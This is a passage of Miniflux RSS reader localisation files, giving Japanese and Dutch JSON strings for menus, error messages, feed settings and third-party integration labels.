"error.duplicate_fever_username": "既に同じ名前の Fever ユーザー名が使われています!",
"error.duplicate_googlereader_username": "既に同じ名前の Google Reader ユーザー名が使われています!",
"error.pocket_request_token": "Pocket の request token が取得できません!",
"error.pocket_access_token": "Pocket の access token が取得できません!",
"error.category_already_exists": "このカテゴリは既に存在します。",
"error.unable_to_create_category": "このカテゴリは作成できません。",
"error.unable_to_update_category": "このカテゴリは更新できません。",
"error.user_already_exists": "このユーザーは既に存在します。",
"error.unable_to_create_user": "このユーザーは作成できません。",
"error.unable_to_update_user": "このユーザーは更新できません。",
"error.unable_to_update_feed": "このフィードは更新できません。",
"error.subscription_not_found": "フィードが見つかりません。",
"error.invalid_theme": "テーマが無効です。",
"error.invalid_language": "言語が無効です。",
"error.invalid_timezone": "タイムゾーンが無効です。",
"error.invalid_entry_direction": "記事の表示順が無効です。",
"error.invalid_display_mode": "Web アプリの表示モードが無効です。",
"error.invalid_gesture_nav": "ジェスチャー ナビゲーションが無効です。",
"error.invalid_default_home_page": "デフォルトのトップページが無効です",
"error.empty_file": "このファイルは空です。",
"error.bad_credentials": "ユーザー名かパスワードが間違っています。",
"error.fields_mandatory": "すべての項目が必要です。",
"error.title_required": "タイトルが必要です。",
"error.different_passwords": "パスワードが一致しません。",
"error.password_min_length": "パスワードは6文字以上である必要があります。",
"error.settings_mandatory_fields": "ユーザー名、テーマ、言語、タイムゾーンのすべてが必要です。",
"error.settings_reading_speed_is_positive": "読書速度は正の整数である必要があります。",
"error.settings_block_rule_fieldname_invalid": "Invalid Block rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_block_rule_separator_required": "Invalid Block rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_block_rule_regex_required": "Invalid Block rule: rule #%d's pattern is not provided",
"error.settings_block_rule_invalid_regex": "Invalid Block rule: rule #%d's pattern is not a valid regex",
"error.settings_keep_rule_fieldname_invalid": "Invalid Keep rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_keep_rule_separator_required": "Invalid Keep rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_keep_rule_regex_required": "Invalid Keep rule: rule #%d pattern is not provided",
"error.settings_keep_rule_invalid_regex": "Invalid Keep rule: rule #%d's pattern is not a valid regex",
"error.entries_per_page_invalid": "ページあたりの記事数が無効です。",
"error.feed_mandatory_fields": "URL と カテゴリが必要です。",
"error.feed_already_exists": "このフィードは既に存在します。",
"error.invalid_feed_url": "フィード URL が無効です。",
"error.invalid_site_url": "サイト URL が無効です。",
"error.feed_url_not_empty": "フィード URL を空にすることはできません。",
"error.site_url_not_empty": "サイトの URL を空にすることはできません。",
"error.feed_title_not_empty": "フィードのタイトルを空にすることはできません。",
"error.feed_category_not_found": "このカテゴリは存在しないか、このユーザーに属していません。",
"error.feed_invalid_blocklist_rule": "ブロックリストルールが無効です。",
"error.feed_invalid_keeplist_rule": "リストの保持ルールが無効です。",
"error.user_mandatory_fields": "ユーザー名が必要です。",
"error.api_key_already_exists": "この API キーは既に存在します。",
"error.unable_to_create_api_key": "この API キーを作成できません。",
"form.feed.label.title": "タイトル",
"form.feed.label.site_url": "サイト URL",
"form.feed.label.feed_url": "フィード URL",
"form.feed.label.description": "説明",
"form.feed.label.category": "カテゴリ",
"form.feed.label.crawler": "オリジナルの内容を取得",
"form.feed.label.feed_username": "フィードのユーザー名",
"form.feed.label.feed_password": "フィードのパスワード",
"form.feed.label.user_agent": "デフォルトの User Agent を上書きする",
"form.feed.label.cookie": "Cookie の設定",
"form.feed.label.scraper_rules": "Scraper ルール",
"form.feed.label.rewrite_rules": "Rewrite ルール",
"form.feed.label.blocklist_rules": "Block ルール",
"form.feed.label.keeplist_rules": "Keep ルール",
"form.feed.label.urlrewrite_rules": "Rewrite URL ルール",
"form.feed.label.apprise_service_urls": "Comma separated list of Apprise service URLs",
"form.feed.label.ignore_http_cache": "HTTPキャッシュを無視",
"form.feed.label.allow_self_signed_certificates": "自己署名証明書または無効な証明書を許可する",
"form.feed.label.disable_http2": "Disable HTTP/2 to avoid fingerprinting",
"form.feed.label.fetch_via_proxy": "プロキシ経由で取得",
"form.feed.label.disabled": "このフィードを更新しない",
"form.feed.label.no_media_player": "No media player (audio/video)",
"form.feed.label.hide_globally": "未読一覧に記事を表示しない",
"form.feed.label.ntfy_activate": "Push entries to ntfy",
"form.feed.label.ntfy_priority": "Ntfy priority",
"form.feed.label.ntfy_max_priority": "Ntfy max priority",
"form.feed.label.ntfy_high_priority": "Ntfy high priority",
"form.feed.label.ntfy_default_priority": "Ntfy default priority",
"form.feed.label.ntfy_low_priority": "Ntfy low priority",
"form.feed.label.ntfy_min_priority": "Ntfy min priority",
"form.integration.cubox_activate": "Save entries to Cubox",
"form.integration.cubox_api_link": "Cubox API link",
"form.feed.fieldset.general": "General",
"form.feed.fieldset.rules": "Rules",
"form.feed.fieldset.network_settings": "Network Settings",
"form.feed.fieldset.integration": "Third-Party Services",
"form.category.label.title": "タイトル",
"form.category.hide_globally": "未読一覧に記事を表示しない",
"form.user.label.username": "ユーザー名",
"form.user.label.password": "パスワード",
"form.user.label.confirmation": "パスワード確認",
"form.user.label.admin": "管理者",
"form.prefs.label.language": "言語",
"form.prefs.label.timezone": "タイムゾーン",
"form.prefs.label.theme": "テーマ",
"form.prefs.label.entry_sorting": "記事の表示順",
"form.prefs.label.entries_per_page": "ページあたりの記事数",
"form.prefs.label.default_reading_speed": "他言語の読書速度（単語/分）",
"form.prefs.label.cjk_reading_speed": "中国語、韓国語、日本語の読書速度（文字数/分）",
"form.prefs.label.display_mode": "プログレッシブ Web アプリ (PWA) 表示モード",
"form.prefs.select.older_first": "古い記事を最初に",
"form.prefs.select.recent_first": "新しい記事を最初に",
"form.prefs.select.fullscreen": "Fullscreen",
"form.prefs.select.standalone": "Standalone",
"form.prefs.select.minimal_ui": "Minimal",
"form.prefs.select.browser": "Browser",
"form.prefs.select.publish_time": "記事の公開時刻",
"form.prefs.select.created_time": "記事の取得時刻",
"form.prefs.select.alphabetical": "アルファベット順",
"form.prefs.select.unread_count": "未読数",
"form.prefs.select.none": "なし",
"form.prefs.select.tap": "ダブルタップ",
"form.prefs.select.swipe": "スワイプ",
"form.prefs.label.keyboard_shortcuts": "キーボードショートカットを有効にする",
"form.prefs.label.entry_swipe": "タッチスクリーンでスワイプ入力を有効にする",
"form.prefs.label.gesture_nav": "エントリ間を移動するジェスチャー",
"form.prefs.label.show_reading_time": "記事の推定読書時間を表示する",
"form.prefs.label.custom_css": "カスタム CSS",
"form.prefs.label.custom_js": "カスタム JavaScript",
"form.prefs.label.entry_order": "記事の表示順の基準",
"form.prefs.label.default_home_page": "デフォルトのトップページ",
"form.prefs.label.categories_sorting_order": "カテゴリの表示順",
"form.prefs.label.mark_read_on_view": "表示時にエントリを自動的に既読としてマークします",
"form.prefs.label.mark_read_on_view_or_media_completion": "Mark entries as read when viewed. For audio/video, mark as read at 90%% completion",
"form.prefs.label.mark_read_on_media_completion": "Only mark as read when audio/video playback reaches 90%% completion",
"form.prefs.label.mark_read_manually": "Mark entries as read manually",
"form.prefs.fieldset.application_settings": "Application Settings",
"form.prefs.fieldset.authentication_settings": "Authentication Settings",
"form.prefs.fieldset.reader_settings": "Reader Settings",
"form.prefs.fieldset.global_feed_settings": "Global Feed Settings",
"form.prefs.label.external_font_hosts": "External font hosts",
"form.prefs.help.external_font_hosts": "Space separated list of external font hosts to allow. For example: \"fonts.gstatic.com fonts.googleapis.com\".",
"error.settings_invalid_domain_list": "Invalid domain list. Please provide a space separated list of domains.",
"form.import.label.file": "OPML ファイル",
"form.import.label.url": "URL",
"form.integration.betula_activate": "Save entries to Betula",
"form.integration.betula_url": "Betula server URL",
"form.integration.betula_token": "Betula Token",
"form.integration.fever_activate": "Fever API を有効にする",
"form.integration.fever_username": "Fever のユーザー名",
"form.integration.fever_password": "Fever のパスワード",
"form.integration.fever_endpoint": "Fever API endpoint:",
"form.integration.googlereader_activate": "Google Reader API を有効にする",
"form.integration.googlereader_username": "Google Reader のユーザー名",
"form.integration.googlereader_password": "Google Reader のパスワード",
"form.integration.googlereader_endpoint": "Google Reader API endpoint:",
"form.integration.pinboard_activate": "Pinboard に記事を保存する",
"form.integration.pinboard_token": "Pinboard の API Token",
"form.integration.pinboard_tags": "Pinboard の Tag",
"form.integration.pinboard_bookmark": "ブックマークを未読にする",
"form.integration.instapaper_activate": "Instapaper に記事を保存する",
"form.integration.instapaper_username": "Instapaper のユーザー名",
"form.integration.instapaper_password": "Instapaper のパスワード",
"form.integration.pocket_activate": "Pocket に記事を保存する",
"form.integration.pocket_consumer_key": "Pocket の Consumer Key",
"form.integration.pocket_access_token": "Pocket の Access Token",
"form.integration.pocket_connect_link": "Pocket account に接続",
"form.integration.wallabag_activate": "Wallabag に記事を保存する",
"form.integration.wallabag_only_url": "URL のみを送信 (完全なコンテンツではなく)",
"form.integration.wallabag_endpoint": "ワラバッグベースURL",
"form.integration.wallabag_client_id": "Wallabag の Client ID",
"form.integration.wallabag_client_secret": "Wallabag の Client Secret",
"form.integration.wallabag_username": "Wallabag のユーザー名",
"form.integration.wallabag_password": "Wallabag のパスワード",
"form.integration.notion_activate": "Save entries to Notion",
"form.integration.notion_page_id": "Notion Page ID",
"form.integration.notion_token": "Notion Secret Token",
"form.integration.apprise_activate": "Push entries to Apprise",
"form.integration.apprise_url": "Apprise API URL",
"form.integration.apprise_services_url": "Comma separated list of Apprise service URLs",
"form.integration.nunux_keeper_activate": "Nunux Keeper に記事を保存する",
"form.integration.nunux_keeper_endpoint": "Nunux Keeper の API Endpoint",
"form.integration.nunux_keeper_api_key": "Nunux Keeper の API key",
"form.integration.omnivore_activate": "Omnivore に記事を保存する",
"form.integration.omnivore_url": "Omnivore の API Endpoint",
"form.integration.omnivore_api_key": "Omnivore の API key",
"form.integration.espial_activate": "Espial に記事を保存する",
"form.integration.espial_endpoint": "Espial の API Endpoint",
"form.integration.espial_api_key": "Espial の API key",
"form.integration.espial_tags": "Espial の Tag",
"form.integration.readwise_activate": "Save entries to Readwise Reader",
"form.integration.readwise_api_key": "Readwise Reader Access Token",
"form.integration.readwise_api_key_link": "Get your Readwise Access Token",
"form.integration.telegram_bot_activate": "新しい記事を Telegram チャットにプッシュする",
"form.integration.telegram_bot_token": "ボットトークン",
"form.integration.telegram_chat_id": "チャット ID",
"form.integration.telegram_topic_id": "Topic ID",
"form.integration.telegram_bot_disable_web_page_preview": "Disable web page preview",
"form.integration.telegram_bot_disable_notification": "Disable notification",
"form.integration.telegram_bot_disable_buttons": "Disable buttons",
"form.integration.linkace_activate": "Save entries to LinkAce",
"form.integration.linkace_endpoint": "LinkAce API Endpoint",
"form.integration.linkace_api_key": "LinkAce API key",
"form.integration.linkace_tags": "LinkAce Tags",
"form.integration.linkace_is_private": "Mark link as private",
"form.integration.linkace_check_disabled": "Disable link check",
"form.integration.linkding_activate": "Linkding に記事を保存する",
"form.integration.linkding_endpoint": "Linkding の API Endpoint",
"form.integration.linkding_api_key": "Linkding の API key",
"form.integration.linkding_tags": "Linkding Tags",
"form.integration.linkding_bookmark": "ブックマークを未読にする",
"form.integration.linkwarden_activate": "Linkwarden に記事を保存する",
"form.integration.linkwarden_endpoint": "Linkwarden の API Endpoint",
"form.integration.linkwarden_api_key": "Linkwarden の API key",
"form.integration.matrix_bot_activate": "新しい記事をMatrixに転送する",
"form.integration.matrix_bot_user": "Matrixのユーザー名",
"form.integration.matrix_bot_password": "Matrixユーザ用パスワード",
"form.integration.matrix_bot_url": "MatrixサーバーのURL",
"form.integration.matrix_bot_chat_id": "MatrixルームのID",
"form.integration.raindrop_activate": "Save entries to Raindrop",
"form.integration.raindrop_token": "(Test) Token",
"form.integration.raindrop_collection_id": "Collection ID",
"form.integration.raindrop_tags": "Tags (comma-separated)",
"form.integration.readeck_activate": "Readeck に記事を保存する",
"form.integration.readeck_endpoint": "Readeck の API Endpoint",
"form.integration.readeck_api_key": "Readeck の API key",
"form.integration.readeck_labels": "Readeck Labels",
"form.integration.readeck_only_url": "URL のみを送信 (完全なコンテンツではなく)",
"form.integration.shiori_activate": "Shiori に記事を保存する",
"form.integration.shiori_endpoint": "Shiori の API Endpoint",
"form.integration.shiori_username": "Shiori の ユーザー名",
"form.integration.shiori_password": "Shiori の パスワード",
"form.integration.shaarli_activate": "Save articles to Shaarli",
"form.integration.shaarli_endpoint": "Shaarli URL",
"form.integration.shaarli_api_secret": "Shaarli API Secret",
"form.integration.webhook_activate": "Enable Webhook",
"form.integration.webhook_url": "Webhook URL",
"form.integration.webhook_secret": "Webhook Secret",
"form.integration.rssbridge_activate": "Check RSS-Bridge when adding subscriptions",
"form.integration.rssbridge_url": "RSS-Bridge server URL",
"form.integration.ntfy_activate": "Push entries to ntfy",
"form.integration.ntfy_topic": "Ntfy topic",
"form.integration.ntfy_url": "Ntfy URL (optional, default is ntfy.sh)",
"form.integration.ntfy_api_token": "Ntfy API Token (optional)",
"form.integration.ntfy_username": "Ntfy Username (optional)",
"form.integration.ntfy_password": "Ntfy Password (optional)",
"form.integration.ntfy_icon_url": "Ntfy Icon URL (optional)",
"form.integration.ntfy_internal_links": "Use internal links on click (optional)",
"form.integration.discord_activate": "Push entries to Discord",
"form.integration.discord_webhook_link": "Discord Webhook link",
"form.api_key.label.description": "API キーラベル",
"form.submit.loading": "読み込み中…",
"form.submit.saving": "保存中…",
"time_elapsed.not_yet": "未来",
"time_elapsed.yesterday": "昨日",
"time_elapsed.now": "今",
"time_elapsed.minutes": [
"%d 分前"
],
"time_elapsed.hours": [
"%d 時間前"
],
"time_elapsed.days": [
"%d 日前"
],
"time_elapsed.weeks": [
"%d 週間前"
],
"time_elapsed.months": [
"%d か月前"
],
"time_elapsed.years": [
"%d 年前"
],
"alert.too_many_feeds_refresh": [
"You have triggered too many feed refreshes. Please wait %d minute before trying again."
],
"alert.background_feed_refresh": "All feeds are being refreshed in the background. You can continue to use Miniflux while this process is running.",
"error.http_response_too_large": "The HTTP response is too large. You could increase the HTTP response size limit in the global settings (requires a server restart).",
"error.http_body_read": "Unable to read the HTTP body: %v.",
"error.http_empty_response_body": "The HTTP response body is empty.",
"error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?",
"error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.",
"error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.",
"error.network_timeout": "This website is too slow and the request timed out: %v",
"error.http_client_error": "HTTP client error: %v.",
"error.http_not_authorized": "Access to this website is not authorized. It could be a bad username or password.",
"error.http_too_many_requests": "Miniflux generated too many requests to this website. Please, try again later or change the application configuration.",
"error.http_forbidden": "Access to this website is forbidden. Perhaps, this website has a bot protection mechanism?",
"error.http_resource_not_found": "The requested resource is not found. Please, verify the URL.",
"error.http_internal_server_error": "The website is not available at the moment due to a server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_bad_gateway": "The website is not available at the moment due to a bad gateway error. The problem is not on Miniflux side. Please, try again later.",
"error.http_service_unavailable": "The website is not available at the moment due to an internal server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_gateway_timeout": "The website is not available at the moment due to a gateway timeout error. The problem is not on Miniflux side. Please, try again later.",
"error.http_unexpected_status_code": "The website is not available at the moment due to an unexpected HTTP status code: %d. The problem is not on Miniflux side. Please, try again later.",
"error.database_error": "Database error: %v.",
"error.category_not_found": "This category does not exist or does not belong to this user.",
"error.duplicated_feed": "This feed already exists.",
"error.unable_to_parse_feed": "Unable to parse this feed: %v.",
"error.feed_not_found": "This feed does not exist or does not belong to this user.",
"error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.",
"error.feed_format_not_detected": "Unable to detect feed format: %v.",
"form.prefs.label.media_playback_rate": "オーディオ/ビデオの再生速度",
"error.settings_media_playback_rate_range": "再生速度が範囲外",
"enclosure_media_controls.seek" : "Seek:",
"enclosure_media_controls.seek.title" : "Seek %s seconds",
"enclosure_media_controls.speed" : "Speed:",
"enclosure_media_controls.speed.faster" : "Faster",
"enclosure_media_controls.speed.faster.title" : "Faster by %sx",
"enclosure_media_controls.speed.slower" : "Slower",
"enclosure_media_controls.speed.slower.title" : "Slower by %sx",
"enclosure_media_controls.speed.reset" : "Reset",
"enclosure_media_controls.speed.reset.title" : "Reset speed to 1x"
}
v2-2.2.5/internal/locale/translations/nl_NL.json 0000664 0000000 0000000 00000105036 14743520056 0021553 0 ustar 00root root 0000000 0000000 {
"skip_to_content": "Ga naar inhoud",
"confirm.question": "Weet je het zeker?",
"confirm.question.refresh": "Wil je vernieuwen forceren?",
"confirm.yes": "ja",
"confirm.no": "nee",
"confirm.loading": "Bezig...",
"action.subscribe": "Abonneren",
"action.save": "Opslaan",
"action.or": "of",
"action.cancel": "annuleren",
"action.remove": "Verwijderen",
"action.remove_feed": "Verwijder deze feed",
"action.update": "Bijwerken",
"action.edit": "Bewerken",
"action.download": "Download",
"action.import": "Importeren",
"action.login": "Inloggen",
"action.home_screen": "Toevoegen aan startscherm",
"tooltip.keyboard_shortcuts": "Sneltoets: %s",
"tooltip.logged_user": "Ingelogd als %s",
"menu.title": "Menu",
"menu.home_page": "Startpagina",
"menu.unread": "Ongelezen",
"menu.starred": "Favorieten",
"menu.history": "Geschiedenis",
"menu.feeds": "Feeds",
"menu.categories": "Categorieën",
"menu.settings": "Instellingen",
"menu.logout": "Uitloggen",
"menu.preferences": "Voorkeuren",
"menu.integrations": "Integraties",
"menu.sessions": "Sessies",
"menu.users": "Gebruikers",
"menu.about": "Over",
"menu.export": "Exporteren",
"menu.import": "Importeren",
"menu.search": "Zoeken",
"menu.create_category": "Categorie toevoegen",
"menu.mark_page_as_read": "Markeer deze pagina als gelezen",
"menu.mark_all_as_read": "Markeer alles als gelezen",
"menu.show_all_entries": "Toon alle artikelen",
"menu.show_only_unread_entries": "Toon alleen ongelezen artikelen",
"menu.show_only_starred_entries": "Toon alleen favorieten",
"menu.refresh_feed": "Vernieuwen",
"menu.refresh_all_feeds": "Vernieuw alle feeds in de achtergrond",
"menu.edit_feed": "Bewerken",
"menu.edit_category": "Bewerken",
"menu.add_feed": "Feed toevoegen",
"menu.add_user": "Gebruiker toevoegen",
"menu.flush_history": "Verwijder geschiedenis",
"menu.feed_entries": "Artikelen",
"menu.api_keys": "API-sleutels",
"menu.create_api_key": "Maak een nieuwe API-sleutel",
"menu.shared_entries": "Gedeelde artikelen",
"search.label": "Zoeken",
"search.placeholder": "Zoeken...",
"search.submit": "Zoeken",
"pagination.last": "Laatste",
"pagination.next": "Volgende",
"pagination.first": "Eerste",
"pagination.previous": "Vorige",
"entry.status.unread": "Ongelezen",
"entry.status.read": "Gelezen",
"entry.status.toast.unread": "Gemarkeerd als ongelezen",
"entry.status.toast.read": "Gemarkeerd als gelezen",
"entry.status.title": "Verander artikelstatus",
"entry.bookmark.toggle.on": "Favoriet",
"entry.bookmark.toggle.off": "Favoriet verwijderen",
"entry.bookmark.toast.on": "Favoriet toegevoegd",
"entry.bookmark.toast.off": "Favoriet verwijderd",
"entry.state.saving": "Opslaan...",
"entry.state.loading": "Laden...",
"entry.save.label": "Opslaan",
"entry.save.title": "Artikel opslaan",
"entry.save.completed": "Klaar!",
"entry.save.toast.completed": "Artikel opgeslagen",
"entry.scraper.label": "Downloaden",
"entry.scraper.title": "Originele inhoud ophalen",
"entry.scraper.completed": "Klaar!",
"entry.external_link.label": "Externe link",
"entry.comments.label": "Reacties",
"entry.comments.title": "Bekijk reacties",
"entry.share.label": "Delen",
"entry.share.title": "Deel dit artikel",
"entry.unshare.label": "Delen ongedaan maken",
"entry.shared_entry.title": "Open de openbare link",
"entry.shared_entry.label": "Delen",
"entry.estimated_reading_time": [
"%d minuut leestijd",
"%d minuten leestijd"
],
"entry.tags.label": "Tags:",
"page.shared_entries.title": "Gedeelde artikelen",
"page.shared_entries_count": [
"%d gedeeld artikel",
"%d gedeelde artikelen"
],
"page.unread.title": "Ongelezen",
"page.unread_entry_count": [
"%d ongelezen artikel",
"%d ongelezen artikelen"
],
"page.total_entry_count": [
"%d artikel totaal",
"%d artikelen totaal"
],
"page.starred.title": "Favorieten",
"page.starred_entry_count": [
"%d favoriet artikel",
"%d favoriete artikelen"
],
"page.categories.title": "Categorieën",
"page.categories.no_feed": "Geen feed.",
"page.categories.entries": "Artikelen",
"page.categories.feeds": "Feeds",
"page.categories.feed_count": [
"Er is %d feed.",
"Er zijn %d feeds."
],
"page.categories_count": [
"%d categorie",
"%d categorieën"
],
"page.new_category.title": "Nieuwe categorie",
"page.new_user.title": "Nieuwe gebruiker",
"page.edit_category.title": "Bewerk categorie: %s",
"page.edit_user.title": "Bewerk gebruiker: %s",
"page.feeds.title": "Feeds",
"page.category_label": "Categorie: %s",
"page.feeds.last_check": "Laatste controle:",
"page.feeds.next_check": "Volgende controle:",
"page.feeds.read_counter": "Aantal gelezen artikelen",
"page.feeds.error_count": [
"%d fout",
"%d fouten"
],
"page.history.title": "Geschiedenis",
"page.read_entry_count": [
"%d gelezen artikel",
"%d gelezen artikelen"
],
"page.import.title": "Importeren",
"page.login.title": "Inloggen",
"page.search.title": "Zoekresultaten",
"page.about.title": "Over",
"page.about.credits": "Credits",
"page.about.version": "Versie:",
"page.about.build_date": "Compilatiedatum:",
"page.about.author": "Auteur:",
"page.about.license": "Licentie:",
"page.about.global_config_options": "Globale Configuratie Opties",
"page.about.postgres_version": "Postgres versie:",
"page.about.go_version": "Go versie:",
"page.add_feed.title": "Nieuwe feed",
"page.add_feed.no_category": "Er is geen categorie. Je moet minstens één categorie hebben.",
"page.add_feed.label.url": "URL",
"page.add_feed.submit": "Feed zoeken",
"page.add_feed.legend.advanced_options": "Geavanceerde opties",
"page.add_feed.choose_feed": "Feed kiezen",
"page.edit_feed.title": "Bewerk feed: %s",
"page.edit_feed.last_check": "Laatste controle:",
"page.edit_feed.last_modified_header": "LastModified header:",
"page.edit_feed.etag_header": "ETAG header:",
"page.edit_feed.no_header": "Geen",
"page.edit_feed.last_parsing_error": "Laatste analysefout",
"page.entry.attachments": "Bijlagen",
"page.keyboard_shortcuts.title": "Sneltoetsen",
"page.keyboard_shortcuts.subtitle.sections": "Navigeren door menu's",
"page.keyboard_shortcuts.subtitle.items": "Navigeren door artikelen",
"page.keyboard_shortcuts.subtitle.pages": "Navigeren door pagina's",
"page.keyboard_shortcuts.subtitle.actions": "Acties",
"page.keyboard_shortcuts.go_to_unread": "Ga naar ongelezen",
"page.keyboard_shortcuts.go_to_starred": "Ga naar favorieten",
"page.keyboard_shortcuts.go_to_history": "Ga naar geschiedenis",
"page.keyboard_shortcuts.go_to_feeds": "Ga naar feeds",
"page.keyboard_shortcuts.go_to_categories": "Ga naar categorieën",
"page.keyboard_shortcuts.go_to_settings": "Ga naar instellingen",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "Sneltoetsen tonen",
"page.keyboard_shortcuts.go_to_previous_item": "Vorig artikel",
"page.keyboard_shortcuts.go_to_next_item": "Volgend artikel",
"page.keyboard_shortcuts.go_to_feed": "Ga naar feed",
"page.keyboard_shortcuts.go_to_previous_page": "Vorige pagina",
"page.keyboard_shortcuts.go_to_next_page": "Volgende pagina",
"page.keyboard_shortcuts.go_to_bottom_item": "Ga naar het onderste artikel",
"page.keyboard_shortcuts.go_to_top_item": "Ga naar het bovenste artikel",
"page.keyboard_shortcuts.open_item": "Open geselecteerd artikel",
"page.keyboard_shortcuts.open_original": "Open originele link",
"page.keyboard_shortcuts.open_original_same_window": "Open originele link in huidig tabblad",
"page.keyboard_shortcuts.open_comments": "Open reacties",
"page.keyboard_shortcuts.open_comments_same_window": "Open reacties in huidig tabblad",
"page.keyboard_shortcuts.toggle_read_status_next": "Markeer gelezen/ongelezen, focus volgende",
"page.keyboard_shortcuts.toggle_read_status_prev": "Markeer gelezen/ongelezen, focus vorige",
"page.keyboard_shortcuts.refresh_all_feeds": "Vernieuw alle feeds in de achtergrond",
"page.keyboard_shortcuts.mark_page_as_read": "Markeer huidige pagina als gelezen",
"page.keyboard_shortcuts.download_content": "Download originele inhoud",
"page.keyboard_shortcuts.toggle_bookmark_status": "Favoriet toevoegen/verwijderen",
"page.keyboard_shortcuts.save_article": "Artikel opslaan",
"page.keyboard_shortcuts.scroll_item_to_top": "Scroll artikel naar boven",
"page.keyboard_shortcuts.remove_feed": "Verwijder deze feed",
"page.keyboard_shortcuts.go_to_search": "Focus instellen op zoekformulier",
"page.keyboard_shortcuts.toggle_entry_attachments": "Bijlagen van artikel openen/sluiten",
"page.keyboard_shortcuts.close_modal": "Dialoogvenster sluiten",
"page.users.title": "Gebruikers",
"page.users.username": "Gebruikersnaam",
"page.users.never_logged": "Nooit",
"page.users.admin.yes": "Ja",
"page.users.admin.no": "Nee",
"page.users.actions": "Acties",
"page.users.last_login": "Laatste login",
"page.users.is_admin": "Beheerder",
"page.settings.title": "Instellingen",
"page.settings.link_google_account": "Koppel mijn Google-account",
"page.settings.unlink_google_account": "Ontkoppel mijn Google-account",
"page.settings.link_oidc_account": "Koppel mijn %s account",
"page.settings.unlink_oidc_account": "Ontkoppel mijn %s account",
"page.settings.webauthn.passkeys": "Passkeys",
"page.settings.webauthn.actions": "Acties",
"page.settings.webauthn.passkey_name": "Passkey Naam",
"page.settings.webauthn.added_on": "Toegevoegd op",
"page.settings.webauthn.last_seen_on": "Laatst gebruikt",
"page.settings.webauthn.register": "Passkey registreren",
"page.settings.webauthn.register.error": "Kan passkey niet registreren",
"page.login.webauthn_login.help": "Please enter your username if you're using a security key. This is not required if you are using a Passkey (discoverable credentials).",
"page.settings.webauthn.delete": [
"Verwijder %d passkey",
"Verwijder %d passkeys"
],
"page.login.oidc_signin": "Inloggen met %s",
"page.login.webauthn_login": "Inloggen met passkey",
"page.login.webauthn_login.error": "Kan niet inloggen met passkey",
"page.login.google_signin": "Inloggen met Google",
"page.integrations.title": "Integraties",
"page.integration.miniflux_api": "Miniflux API",
"page.integration.miniflux_api_endpoint": "API-URL",
"page.integration.miniflux_api_username": "Gebruikersnaam",
"page.integration.miniflux_api_password": "Wachtwoord",
"page.integration.miniflux_api_password_value": "Wachtwoord van jouw account",
"page.integration.bookmarklet": "Bookmarklet",
"page.integration.bookmarklet.name": "Toevoegen aan Miniflux",
"page.integration.bookmarklet.instructions": "Sleep deze link naar je bookmarks.",
"page.integration.bookmarklet.help": "Gebruik deze link als bookmark in je browser om je direct te abonneren op een website.",
"page.sessions.title": "Sessies",
"page.sessions.table.date": "Datum",
"page.sessions.table.ip": "IP-adres",
"page.sessions.table.user_agent": "User-agent",
"page.sessions.table.actions": "Acties",
"page.sessions.table.current_session": "Huidige sessie",
"page.api_keys.title": "API-sleutels",
"page.api_keys.table.description": "Omschrijving",
"page.api_keys.table.token": "Token",
"page.api_keys.table.last_used_at": "Laatst gebruikt",
"page.api_keys.table.created_at": "Aanmaakdatum",
"page.api_keys.table.actions": "Acties",
"page.api_keys.never_used": "Nooit gebruikt",
"page.new_api_key.title": "Nieuwe API-sleutel",
"page.offline.title": "Offline modus",
"page.offline.message": "Je bent offline",
"page.offline.refresh_page": "Probeer de pagina te vernieuwen",
"page.webauthn_rename.title": "Hernoem Passkey",
"alert.no_shared_entry": "Er is geen gedeeld artikel.",
"alert.no_bookmark": "Er zijn geen favorieten.",
"alert.no_category": "Er zijn geen categorieën.",
"alert.no_category_entry": "Er zijn geen artikelen in deze categorie.",
"alert.no_tag_entry": "Er zijn geen artikelen die overeenkomen met deze tag.",
"alert.no_feed_entry": "Er zijn geen artikelen in deze feed.",
"alert.no_feed": "Je hebt nog geen feed geabonneerd.",
"alert.no_feed_in_category": "Er is geen feed voor deze categorie.",
"alert.no_history": "Geschiedenis is op dit moment leeg.",
"alert.feed_error": "Er is een probleem met deze feed",
"alert.no_search_result": "Er is geen resultaat voor deze zoekopdracht.",
"alert.no_unread_entry": "Er zijn geen ongelezen artikelen.",
"alert.no_user": "Je bent de enige gebruiker.",
"alert.account_unlinked": "Jouw externe account is nu ontkoppeld!",
"alert.account_linked": "Jouw externe account is nu gekoppeld!",
"alert.pocket_linked": "Jouw Pocket-account is nu gekoppeld!",
"alert.prefs_saved": "Instellingen opgeslagen!",
"error.unlink_account_without_password": "Je moet een wachtwoord opgeven anders kun je niet meer inloggen.",
"error.duplicate_linked_account": "Er is al iemand geregistreerd met deze provider!",
"error.duplicate_fever_username": "Er is al iemand met dezelfde Fever gebruikersnaam!",
"error.duplicate_googlereader_username": "Er is al iemand met dezelfde Google Reader gebruikersnaam!",
"error.pocket_request_token": "Kon geen aanvraagtoken ophalen van Pocket!",
"error.pocket_access_token": "Kon geen toegangstoken ophalen van Pocket!",
"error.category_already_exists": "Deze categorie bestaat al.",
"error.unable_to_create_category": "Kan deze categorie niet aanmaken.",
"error.unable_to_update_category": "Kan categorie niet bijwerken.",
"error.user_already_exists": "Deze gebruiker bestaat al.",
"error.unable_to_create_user": "Kan deze gebruiker niet aanmaken.",
"error.unable_to_update_user": "Kan deze gebruiker niet bijwerken.",
"error.unable_to_update_feed": "Kan deze feed niet bijwerken.",
"error.subscription_not_found": "Kan geen feeds vinden.",
"error.empty_file": "Dit bestand is leeg.",
"error.bad_credentials": "Onjuiste gebruikersnaam of wachtwoord.",
"error.fields_mandatory": "Alle velden moeten ingevuld zijn.",
"error.title_required": "De titel is verplicht.",
"error.different_passwords": "Wachtwoorden zijn niet hetzelfde.",
"error.password_min_length": "Minimaal 6 tekens gebruiken.",
"error.settings_mandatory_fields": "Gebruikersnaam, thema, taal en tijdzone zijn verplichte velden.",
"error.settings_reading_speed_is_positive": "De leessnelheden moeten positieve gehele getallen zijn.",
